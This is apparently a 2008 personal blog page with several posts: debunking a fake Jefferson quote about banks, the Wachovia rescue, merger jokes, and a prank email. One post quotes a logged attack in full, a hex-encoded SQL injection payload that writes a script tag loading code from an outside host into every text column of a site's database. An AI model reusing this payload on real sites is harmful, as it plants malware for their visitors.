Jefferson’s bogus bank quote in the wild

I did a periodicals search through N.C. Live (thanks, N.C. General Assembly and Wake County Public Library!) for the bogus Jefferson quote. Got three hits on the “America’s Newspapers” search.

It appeared in the Chicago Sun-Times in 1992:

Return power to the people
Chicago Sun-Times – April 7, 1992
Author: Edward F. Mrkvicka Jr.
Article I, Section 8, Clause 5 of the Constitution states, “The Congress shall have Power . . . To coin Money, regulate the Value thereof, and of foreign Coin, and fix the Standards of Weights and Measures.”

In 1913, Congress passed the Federal Reserve Act, which, in seeming violation of Article I, gave the power to regulate money to a handful of unelected private bankers.

[…]

America, while not the economic power it once was, is still the richest nation in the world. Yet average Americans have virtually none of the wealth. Thomas Jefferson was prophetic when he stated, “If the American people ever allow private banks to control the issue of their currency, first by inflation and then by deflation, the banks and the corporations that will grow up around them will deprive the people of all property until their children will wake up homeless on the continent their fathers conquered .”

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Wachovia and Citigroup: a shotgun marriage

The Charlotte Observer reports that Citigroup’s purchase of Wachovia’s was a panicked move by the FDIC to keep Wachovia solvent as nervous customers created a “silent” bank run. Customers began withdrawing their money on Friday and by Monday morning it was clear Wachovia had no liquidity left. In other words, Wachovia would’ve almost certainly failed this week had the FDIC not engineered the Citigroup deal.

Scary stuff, folks, and I’m sure we haven’t heard the last of it. I’m glad I’m a credit union member.

(h/t Suzzanne)

Mergers

The economic downturn is causing a lot of companies to either merge or else go belly-up. Watch for these consolidations in 2008:

1.) Hale Business Systems, Mary Kay Cosmetics, Fuller Brush, and W. R. Grace Co. Will merge and become: Hale, Mary, Fuller, Grace.

2.) PolyGram Records, Warner Bros., and Zesta Crackers join forces and become: Poly, Warner Cracker.

3.) 3M will merge with Goodyear and become: MMMGood.

4. Zippo Manufacturing, Audi Motors, Dofasco, and Dakota Mining will merge and become: ZipAudiDoDa
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Blog SQL injection attack

I’ve been logging a few attacks on my blog site which put the following into the logfiles:

163.19.104.88 – – [02/Oct/2008:05:57:15 -0400] “GET /?’;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E73733131716E2E636E2F63737273732F6E65772E68746D223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E73733131716E2E636E2F63737273732F6E65772E68746D223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1” 200 42469 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)”

Turns out its a SQL injection attack which is allegedly being carried out by a criminal gang called Rock Phish (or its being carried out by two teenagers pretending to be a “gang”). The attack uses WAITFOR DELAY to see if it worked or not. The user agent and IP addresses change for each attack, so one has to be clever in defending against it. I’ve been blocking the IP when it comes up, but that becomes impractical after a while.
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Tracing the bogus Thomas Jefferson bank quote

As mentioned in the previous post, a quote attributed to Thomas Jefferson is being bandied about now that the bank bailout is in the news. The quote is:

“I believe that banking institutions are more dangerous to our liberties than standing armies. If the American people ever allow private banks to control the issue of their currency, first by inflation, then by deflation, the banks and corporations that will grow up around [the banks] will deprive the people of all property until their children wake-up homeless on the continent their fathers conquered.” – Thomas Jefferson to Albert Gallatin, 1802

I thought the quote was fishy-sounding, so I did some Googling tonight to find where it came from. The first step was to search on a unique snippet of the quote. Out of 220 Google results on “continent their fathers conquered” I found a slew of results from this year (and especially last month), but many without listed dates. How far back could I trace it?
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Bogus Thomas Jefferson quote

I found this quote supposedly by Thomas Jefferson floating around the Internet:

“I believe that banking institutions are more dangerous to our liberties than standing armies. If the American people ever allow private banks to control the issue of their currency, first by inflation, then by deflation, the banks and corporations that will grow up around [the banks] will deprive the people of all property until their children wake-up homeless on the continent their fathers conquered.” – Thomas Jefferson to Albert Gallatin, 1802

While a bit poetic, I think the quote is fabricated. The folks at Snopes think its bogus. It also doesn’t appear on UVa’s Thomas Jefferson Quotation Page.

Just like the Einstein Bee quote, someone used Jefferson’s stature to prop up their modern-day argument. Continue reading →

Highway horses

Watching a police officer ride on horseback through downtown this afternoon got me wondering: what are the laws about horses on public streets? Still legal? I imagine there was never a defined point where cars became kings of the road.

Any horse experts want to weigh in?

Outlook: snarky

When my officemate threw up his hands in frustration one time too many after Microsoft Outlook crashed, I felt the need to send a happygram to Bill Gates. Feeling prankish, I rattled off this email:

—–Original Message—–
From: Mark Turner [mailto:jmarkturner at blah blah blah . com]
Sent: Monday, September 29, 2008 00:23 AM
To: Bill Gates
Subject: Thanks!

Mr. Gates,

Thanks so much for creating Microsoft Outlook. My life is so much better because of it.

Best Regards,

Mark Turner
Raleigh, NC

I about fell out of my chair laughing when I got this response back from his administrative staff just now:
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